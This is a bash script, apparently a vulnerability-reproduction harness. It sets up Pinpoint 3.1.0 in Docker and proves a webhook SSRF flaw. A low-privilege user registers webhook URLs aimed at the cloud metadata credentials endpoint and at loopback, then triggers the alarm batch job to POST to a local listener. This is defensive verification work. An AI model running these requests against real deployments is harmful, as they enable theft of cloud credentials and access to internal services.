#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$REPRO_DIR/artifacts"
mkdir -p "$LOGS" "$ARTIFACTS"

exec > >(tee -a "$LOGS/reproduction_steps.log")
exec 2>&1

echo "=== Pinpoint CVE-2026-57947 webhook SSRF reproduction ==="
echo "ROOT=$ROOT"

if ! docker compose version >/dev/null 2>&1; then
    echo "Installing docker compose plugin..."
    sudo apt-get update -qq
    sudo apt-get install -y -qq docker-compose
fi

CACHE_CTX="$ROOT/project_cache_context.json"
if [ -f "$CACHE_CTX" ]; then
    PROJECT_CACHE_DIR=$(python3 -c "import json,sys; d=json.load(open(sys.argv[1])); print(d.get('project_cache_dir',''))" "$CACHE_CTX")
else
    PROJECT_CACHE_DIR=""
fi
if [ -z "$PROJECT_CACHE_DIR" ] || [ ! -d "$PROJECT_CACHE_DIR" ]; then
    PROJECT_CACHE_DIR="$ROOT/artifacts/pinpoint"
    mkdir -p "$PROJECT_CACHE_DIR"
fi
DOCKER_DIR="$PROJECT_CACHE_DIR/repo-docker"
mkdir -p "$DOCKER_DIR"

echo "PROJECT_CACHE_DIR=$PROJECT_CACHE_DIR"

if [ ! -f "$DOCKER_DIR/docker-compose.yml" ]; then
    echo "Cloning pinpoint-docker..."
    git clone --depth 1 https://github.com/pinpoint-apm/pinpoint-docker.git "$DOCKER_DIR"
fi

MYSQL_FIX="$DOCKER_DIR/docker-compose.mysql-fix.yml"
cat > "$MYSQL_FIX" <<'EOF'
services:
  pinpoint-mysql:
    entrypoint: >
      sh -c "
      curl -SL https://raw.githubusercontent.com/pinpoint-apm/pinpoint/v3.1.0/web/src/main/resources/sql/CreateTableStatement-mysql.sql -o /docker-entrypoint-initdb.d/CreateTableStatement-mysql.sql &&
      curl -SL https://raw.githubusercontent.com/pinpoint-apm/pinpoint/v3.1.0/web/src/main/resources/sql/SpringBatchJobRepositorySchema-mysql.sql -o /docker-entrypoint-initdb.d/SpringBatchJobRepositorySchema-mysql.sql &&
      sed -i '/^--/d' /docker-entrypoint-initdb.d/CreateTableStatement-mysql.sql &&
      sed -i '/^--/d' /docker-entrypoint-initdb.d/SpringBatchJobRepositorySchema-mysql.sql &&
      docker-entrypoint.sh mysqld
      "
EOF

PROJECT=ppssrf
WEB_PORT=28080
LISTENER_PORT=29999
SUBNET="10.20.30.0/24"
APP_USER="testuser"
APP_PASS="testpass123"
ADMIN_USER="adminuser"
ADMIN_PASS="adminpass"
JWT_SECRET="this-is-a-32-byte-secret-key-for-pinpoint-web"
SUFFIX=$(date +%s)
APP_NAME="test-app-${SUFFIX}"
USER_GROUP="test-group-${SUFFIX}"
SERVICE_TYPE_CODE=1010

HOST_IP=$(ip route show default | awk '{print $3}')
PP_URL="http://${HOST_IP}:${WEB_PORT}"
LISTENER_URL="http://ssrf-listener:9999/callback"

full_cleanup() {
    echo "Tearing down previous Pinpoint stack..."
    cd "$DOCKER_DIR"
    docker compose -p "$PROJECT" -f docker-compose.yml -f "$MYSQL_FIX" down --volumes --remove-orphans 2>/dev/null || true
    docker rm -f ppssrf-web ppssrf-batch ssrf-listener 2>/dev/null || true
}

partial_cleanup() {
    echo "Removing previous web/batch/listener containers for reuse..."
    docker rm -f ppssrf-web ppssrf-batch ssrf-listener 2>/dev/null || true
}

REUSE_STACK=${REUSE_STACK:-}
if [ -n "$REUSE_STACK" ]; then
    partial_cleanup
else
    full_cleanup
fi

cd "$DOCKER_DIR"
export PINPOINT_VERSION=3.1.0
export PINPOINT_NETWORK_SUBNET="$SUBNET"
export SPRING_PROFILES=release,basicLogin
export PINPOINT_MODULES_WEB_LOGIN=basicLogin
export WEB_SECURITY_AUTH_USER="${APP_USER}:${APP_PASS}"
export WEB_SECURITY_AUTH_ADMIN="${ADMIN_USER}:${ADMIN_PASS}"
export WEB_SECURITY_AUTH_JWT_SECRETKEY="$JWT_SECRET"

if [ -n "$REUSE_STACK" ]; then
    if ! docker ps --format '{{.Names}}' | grep -qE '^(pinpoint-hbase|pinpoint-mysql)$'; then
        echo "REUSE_STACK requested but backend containers are not running" >&2
        exit 1
    fi
    echo "Reusing existing backend stack (HBase, MySQL, ZooKeeper, Redis)..."
else
    echo "Starting Pinpoint backend services (HBase, MySQL, Redis, ZooKeeper)..."
    docker compose -p "$PROJECT" -f docker-compose.yml -f "$MYSQL_FIX" up -d zoo1 zoo2 zoo3 redis pinpoint-mysql pinpoint-hbase

    echo "Waiting for MySQL to be ready..."
    for i in $(seq 1 120); do
        if docker exec pinpoint-mysql mysqladmin -uadmin -padmin ping 2>/dev/null | grep -q alive; then
            echo "MySQL ready."
            break
        fi
        sleep 2
    done
    if ! docker exec pinpoint-mysql mysqladmin -uadmin -padmin ping 2>/dev/null | grep -q alive; then
        echo "MySQL failed to start" >&2
        exit 1
    fi

    echo "Waiting for HBase master UI to be ready..."
    for i in $(seq 1 180); do
        if curl -s "http://${HOST_IP}:16010/master-status" | grep -qE '<!DOCTYPE html|<html'; then
            echo "HBase master UI is up."
            break
        fi
        sleep 5
    done
    if ! curl -s "http://${HOST_IP}:16010/master-status" | grep -qE '<!DOCTYPE html|<html'; then
        echo "HBase master UI failed to come up" >&2
        exit 1
    fi
    sleep 15
fi

echo "Registering fake application '${APP_NAME}' in HBase ApplicationIndex..."
printf "import java.nio.ByteBuffer\nput 'ApplicationIndex', '%s', 'Agents:agent-%s', ByteBuffer.allocate(2).putShort(%s).array()\nexit\n" "$APP_NAME" "$SUFFIX" "$SERVICE_TYPE_CODE" | timeout 60 docker exec -i pinpoint-hbase /opt/hbase/hbase-2.2.6/bin/hbase shell 2>&1 | tail -n 5

echo "Starting SSRF listener container..."
LISTENER_CMD=$(cat <<'PY'
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        print(f"LISTENER_POST path={self.path} headers={dict(self.headers)}", file=sys.stderr)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')
    def log_message(self, format, *args):
        print(f"LISTENER {format % args}", file=sys.stderr)

HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
PY
)
docker run -d --name ssrf-listener --network "${PROJECT}_pinpoint" -p "${LISTENER_PORT}:9999" python:3-alpine python3 -c "$LISTENER_CMD"

echo "Starting Pinpoint Web (vulnerable 3.1.0, basic login enabled)..."
docker run -d --name ppssrf-web --network "${PROJECT}_pinpoint" -p "${WEB_PORT}:8080" \
  -e SPRING_PROFILES_ACTIVE=release,basicLogin \
  -e PINPOINT_ZOOKEEPER_ADDRESS=zoo1 \
  -e CLUSTER_ENABLE=true \
  -e ADMIN_PASSWORD=admin \
  -e CONFIG_SENDUSAGE=true \
  -e LOGGING_LEVEL_ROOT=INFO \
  -e CONFIG_SHOW_APPLICATIONSTAT=true \
  -e JDBC_DRIVERCLASSNAME=com.mysql.cj.jdbc.Driver \
  -e JDBC_URL='jdbc:mysql://pinpoint-mysql:3306/pinpoint?characterEncoding=UTF-8' \
  -e JDBC_USERNAME=admin \
  -e JDBC_PASSWORD=admin \
  -e SPRING_DATASOURCE_HIKARI_JDBCURL='jdbc:mysql://pinpoint-mysql:3306/pinpoint?characterEncoding=UTF-8' \
  -e SPRING_DATASOURCE_HIKARI_USERNAME=admin \
  -e SPRING_DATASOURCE_HIKARI_PASSWORD=admin \
  -e SPRING_METADATASOURCE_HIKARI_JDBCURL='jdbc:mysql://pinpoint-mysql:3306/pinpoint?characterEncoding=UTF-8' \
  -e SPRING_METADATASOURCE_HIKARI_USERNAME=admin \
  -e SPRING_METADATASOURCE_HIKARI_PASSWORD=admin \
  -e SPRING_DATA_REDIS_HOST="${PROJECT}-redis-1" \
  -e SPRING_DATA_REDIS_PORT=6379 \
  -e PINPOINT_MODULES_WEB_LOGIN=basicLogin \
  -e WEB_SECURITY_AUTH_USER="${APP_USER}:${APP_PASS}" \
  -e WEB_SECURITY_AUTH_ADMIN="${ADMIN_USER}:${ADMIN_PASS}" \
  -e WEB_SECURITY_AUTH_JWT_SECRETKEY="$JWT_SECRET" \
  pinpointdocker/pinpoint-web:3.1.0

echo "Waiting for Pinpoint Web to start..."
for i in $(seq 1 180); do
    code=$(docker exec ppssrf-web curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:8080/api/webhook?applicationId=${APP_NAME}" 2>/dev/null || echo 000)
    if [ "$code" = "401" ]; then
        echo "Pinpoint Web is up (api/webhook returned 401 for unauthenticated request)."
        break
    fi
    sleep 2
done
if [ "$(docker exec ppssrf-web curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:8080/api/webhook?applicationId=${APP_NAME}" 2>/dev/null || echo 000)" != "401" ]; then
    echo "Pinpoint Web failed to start" >&2
    exit 1
fi

echo "Pinpoint Web reachable at $PP_URL"

COOKIE_JAR="$ARTIFACTS/cookies.txt"
ADMIN_COOKIE_JAR="$ARTIFACTS/admin_cookies.txt"
rm -f "$COOKIE_JAR" "$ADMIN_COOKIE_JAR"

echo "Checking unauthenticated access is rejected..."
curl -s -o "$ARTIFACTS/unauth_response.html" -w "unauth_http_code=%{http_code}\n" "${PP_URL}/api/webhook?applicationId=${APP_NAME}" > "$ARTIFACTS/unauth.log"
unauth_code=$(awk -F= '/unauth_http_code/{print $2}' "$ARTIFACTS/unauth.log")
if [ "$unauth_code" != "401" ]; then
    echo "Expected 401 for unauthenticated request, got $unauth_code" >&2
    exit 1
fi

echo "Logging in as ${APP_USER}..."
curl -s -c "$COOKIE_JAR" -X POST "${PP_URL}/login" -d "username=${APP_USER}&password=${APP_PASS}" \
  -o "$ARTIFACTS/login_response.html" -w "login_http_code=%{http_code}\n" > "$ARTIFACTS/login.log"
login_code=$(awk -F= '/login_http_code/{print $2}' "$ARTIFACTS/login.log")
if [ "$login_code" != "302" ] && [ "$login_code" != "200" ]; then
    echo "Login failed: HTTP $login_code" >&2
    exit 1
fi
JWT=$(awk '/pinpointJwt/{print $NF}' "$COOKIE_JAR")
if [ -z "$JWT" ]; then
    echo "Failed to obtain JWT cookie for ${APP_USER}" >&2
    exit 1
fi

echo "Registering SSRF target webhooks as authenticated ROLE_USER..."
METADATA_URL='http://169.254.169.254/latest/meta-data/iam/security-credentials/'
LOOPBACK_URL='http://127.0.0.1:9999/ssrf-poc'

curl -s -X POST "${PP_URL}/api/webhook" \
  -H "Content-Type: application/json" \
  -H "Cookie: pinpointJwt=${JWT}" \
  -d "{\"url\":\"${METADATA_URL}\",\"applicationName\":\"${APP_NAME}\"}" \
  -o "$ARTIFACTS/register_metadata.json" -w "register_metadata_http_code=%{http_code}\n" > "$ARTIFACTS/register_metadata.log"

curl -s -X POST "${PP_URL}/api/webhook" \
  -H "Content-Type: application/json" \
  -H "Cookie: pinpointJwt=${JWT}" \
  -d "{\"url\":\"${LOOPBACK_URL}\",\"applicationName\":\"${APP_NAME}\"}" \
  -o "$ARTIFACTS/register_loopback.json" -w "register_loopback_http_code=%{http_code}\n" > "$ARTIFACTS/register_loopback.log"

curl -s -X POST "${PP_URL}/api/application/webhook" \
  -H "Content-Type: application/json" \
  -H "Cookie: pinpointJwt=${JWT}" \
  -d "{\"url\":\"${LISTENER_URL}\",\"applicationName\":\"${APP_NAME}\"}" \
  -o "$ARTIFACTS/register_listener.json" -w "register_listener_http_code=%{http_code}\n" > "$ARTIFACTS/register_listener.log"

for f in "$ARTIFACTS/register_metadata.json" "$ARTIFACTS/register_loopback.json" "$ARTIFACTS/register_listener.json"; do
    if ! grep -q '"result":"SUCCESS"' "$f"; then
        echo "Webhook registration failed: $(cat "$f")" >&2
        exit 1
    fi
    echo "Registration result: $(cat "$f")" >> "$LOGS/reproduction_steps.log"
done

LISTENER_WEBHOOK_ID=$(python3 -c "import json,sys; print(json.load(open(sys.argv[1]))['webhookId'])" "$ARTIFACTS/register_listener.json")

echo "Retrieving stored webhooks..."
curl -s "${PP_URL}/api/webhook?applicationId=${APP_NAME}" \
  -H "Cookie: pinpointJwt=${JWT}" -o "$ARTIFACTS/stored_webhooks.json"
if ! grep -q '169.254.169.254' "$ARTIFACTS/stored_webhooks.json"; then
    echo "Metadata URL not found in stored webhooks" >&2
    exit 1
fi
if ! grep -q '127.0.0.1' "$ARTIFACTS/stored_webhooks.json"; then
    echo "Loopback URL not found in stored webhooks" >&2
    exit 1
fi
if ! grep -q 'ssrf-listener' "$ARTIFACTS/stored_webhooks.json"; then
    echo "Listener URL not found in stored webhooks" >&2
    exit 1
fi

echo "Logging in as ${ADMIN_USER} to create alarm rule..."
curl -s -c "$ADMIN_COOKIE_JAR" -X POST "${PP_URL}/login" -d "username=${ADMIN_USER}&password=${ADMIN_PASS}" \
  -o "$ARTIFACTS/admin_login_response.html" -w "admin_login_http_code=%{http_code}\n" > "$ARTIFACTS/admin_login.log"
admin_login_code=$(awk -F= '/admin_login_http_code/{print $2}' "$ARTIFACTS/admin_login.log")
if [ "$admin_login_code" != "302" ] && [ "$admin_login_code" != "200" ]; then
    echo "Admin login failed: HTTP $admin_login_code" >&2
    exit 1
fi
ADMIN_JWT=$(awk '/pinpointJwt/{print $NF}' "$ADMIN_COOKIE_JAR")
if [ -z "$ADMIN_JWT" ]; then
    echo "Failed to obtain admin JWT cookie" >&2
    exit 1
fi

echo "Creating user group ${USER_GROUP}..."
curl -s -X POST "${PP_URL}/api/userGroup" -H "Content-Type: application/json" -H "Cookie: pinpointJwt=${ADMIN_JWT}" \
  -d "{\"id\":\"${USER_GROUP}\"}" -o "$ARTIFACTS/create_group.json" -w "create_group_http_code=%{http_code}\n" > "$ARTIFACTS/create_group.log"
if ! grep -q '"result":"SUCCESS"' "$ARTIFACTS/create_group.json"; then
    echo "User group creation failed: $(cat "$ARTIFACTS/create_group.json")" >&2
    exit 1
fi

curl -s -X POST "${PP_URL}/api/userGroup/member" -H "Content-Type: application/json" -H "Cookie: pinpointJwt=${ADMIN_JWT}" \
  -d "{\"userGroupId\":\"${USER_GROUP}\",\"memberId\":\"${ADMIN_USER}\"}" -o "$ARTIFACTS/add_member.json" -w "add_member_http_code=%{http_code}\n" > "$ARTIFACTS/add_member.log"
if ! grep -q '"result":"SUCCESS"' "$ARTIFACTS/add_member.json"; then
    echo "Add group member failed: $(cat "$ARTIFACTS/add_member.json")" >&2
    exit 1
fi

echo "Creating alarm rule linked to listener webhook ${LISTENER_WEBHOOK_ID}..."
curl -s -X POST "${PP_URL}/api/alarmRule/includeWebhooks" -H "Content-Type: application/json" -H "Cookie: pinpointJwt=${ADMIN_JWT}" \
  -d "{\"rule\":{\"applicationName\":\"${APP_NAME}\",\"serviceType\":\"${SERVICE_TYPE_CODE}\",\"checkerName\":\"TOTAL COUNT\",\"threshold\":0,\"userGroupId\":\"${USER_GROUP}\",\"smsSend\":false,\"emailSend\":false,\"webhookSend\":true,\"notes\":\"ssrf\"},\"webhookIds\":[\"${LISTENER_WEBHOOK_ID}\"]}" \
  -o "$ARTIFACTS/create_alarm.json" -w "create_alarm_http_code=%{http_code}\n" > "$ARTIFACTS/create_alarm.log"
if ! grep -q '"result":"SUCCESS"' "$ARTIFACTS/create_alarm.json"; then
    echo "Alarm rule creation failed: $(cat "$ARTIFACTS/create_alarm.json")" >&2
    exit 1
fi

echo "Starting Pinpoint Batch to execute alarmJob and deliver the webhook..."
docker run -d --name ppssrf-batch --network "${PROJECT}_pinpoint" \
  -e SPRING_PROFILES_ACTIVE=release \
  -e PINPOINT_ZOOKEEPER_ADDRESS=zoo1 \
  -e PINPOINT_BATCH_APPLICATION_INDEX_READ_V2=false \
  -e JOB_ALARM_CRON='0/10 * * * * *' \
  -e JDBC_DRIVERCLASSNAME=com.mysql.cj.jdbc.Driver \
  -e JDBC_URL='jdbc:mysql://pinpoint-mysql:3306/pinpoint?characterEncoding=UTF-8' \
  -e JDBC_USERNAME=admin \
  -e JDBC_PASSWORD=admin \
  -e SPRING_DATASOURCE_HIKARI_JDBCURL='jdbc:mysql://pinpoint-mysql:3306/pinpoint?characterEncoding=UTF-8' \
  -e SPRING_DATASOURCE_HIKARI_USERNAME=admin \
  -e SPRING_DATASOURCE_HIKARI_PASSWORD=admin \
  -e SPRING_DATA_REDIS_HOST="${PROJECT}-redis-1" \
  -e SPRING_DATA_REDIS_PORT=6379 \
  -e BATCH_STARTUP_JOBS=alarmJob \
  -e LOGGING_LEVEL_ROOT=INFO \
  pinpointdocker/pinpoint-batch:3.1.0

echo "Waiting for the Pinpoint batch to send a POST to the controlled listener..."
LISTENER_RECEIVED=false
for i in $(seq 1 180); do
    if docker logs ssrf-listener 2>&1 | grep -q 'LISTENER_POST path=/callback'; then
        LISTENER_RECEIVED=true
        echo "Listener received POST from Pinpoint batch after ${i} seconds."
        break
    fi
    sleep 1
done

docker stop ppssrf-batch 2>/dev/null || true

docker logs ppssrf-web > "$LOGS/ppssrf-web.log" 2>&1 || true
docker logs ppssrf-batch > "$LOGS/ppssrf-batch.log" 2>&1 || true
docker logs ssrf-listener > "$LOGS/ssrf-listener.log" 2>&1 || true
docker logs pinpoint-hbase > "$LOGS/pinpoint-hbase.log" 2>&1 || true
docker logs pinpoint-mysql > "$LOGS/pinpoint-mysql.log" 2>&1 || true

if [ "$LISTENER_RECEIVED" != "true" ]; then
    echo "Listener did not receive the POST from the Pinpoint batch (webhook delivery failed)" >&2
    exit 1
fi

SERVICE_STARTED=true
HEALTHCHECK_PASSED=true
TARGET_REACHED=true

echo "=== Reproduction successful ==="
echo "Pinpoint 3.1.0 accepted internal URLs via /api/webhook, stored them, and the alarm batch job sent a POST to the controlled internal listener."

if [ -f "$CACHE_CTX" ]; then
    if python3 -c "import json,sys; d=json.load(open(sys.argv[1])); pc=d.get('proof_carry') or {}; print(pc.get('enabled',False))" "$CACHE_CTX" | grep -q True; then
        PCC_DIR=$(python3 -c "import json,sys; d=json.load(open(sys.argv[1])); print(d.get('project_cache_dir',''))" "$CACHE_CTX")
        LATEST="$PCC_DIR/.pruva/proof-carry/latest_attempt"
        mkdir -p "$LATEST"
        cp -f "$ROOT/repro/reproduction_steps.sh" "$LATEST/" 2>/dev/null || true
        cp -f "$ROOT/repro/runtime_manifest.json" "$LATEST/" 2>/dev/null || true
        cp -f "$ROOT/repro/validation_verdict.json" "$LATEST/" 2>/dev/null || true
        cp -f "$ROOT/repro/rca_report.md" "$LATEST/" 2>/dev/null || true
        cp -f "$LOGS/reproduction_steps.log" "$LATEST/" 2>/dev/null || true
    fi
fi

jq -n \
  --arg entrypoint_kind "api_remote" \
  --arg entrypoint_detail "POST ${PP_URL}/api/webhook (and /api/application/webhook) with internal URL payload, then alarm batch job delivers SSRF POST" \
  --argjson service_started "$SERVICE_STARTED" \
  --argjson healthcheck_passed "$HEALTHCHECK_PASSED" \
  --argjson target_path_reached "$TARGET_REACHED" \
  --argjson runtime_stack '["pinpoint-web:3.1.0","pinpoint-batch:3.1.0","pinpoint-hbase:3.1.0","pinpoint-mysql","zookeeper","redis","ssrf-listener"]' \
  --argjson proof_artifacts '["logs/reproduction_steps.log","logs/ppssrf-web.log","logs/ppssrf-batch.log","logs/ssrf-listener.log","artifacts/cookies.txt","artifacts/admin_cookies.txt","artifacts/stored_webhooks.json","artifacts/register_metadata.json","artifacts/register_loopback.json","artifacts/register_listener.json","artifacts/create_alarm.json"]' \
  --arg notes "Authenticated ROLE_USER registers private/link-local URLs (169.254.169.254, 127.0.0.1) through /api/webhook. The alarm batch job then makes a real server-side POST to a controlled internal listener, proving SSRF." \
  '{
    entrypoint_kind: $entrypoint_kind,
    entrypoint_detail: $entrypoint_detail,
    service_started: $service_started,
    healthcheck_passed: $healthcheck_passed,
    target_path_reached: $target_path_reached,
    runtime_stack: $runtime_stack,
    proof_artifacts: $proof_artifacts,
    notes: $notes
  }' > "$REPRO_DIR/runtime_manifest.json"

exit 0
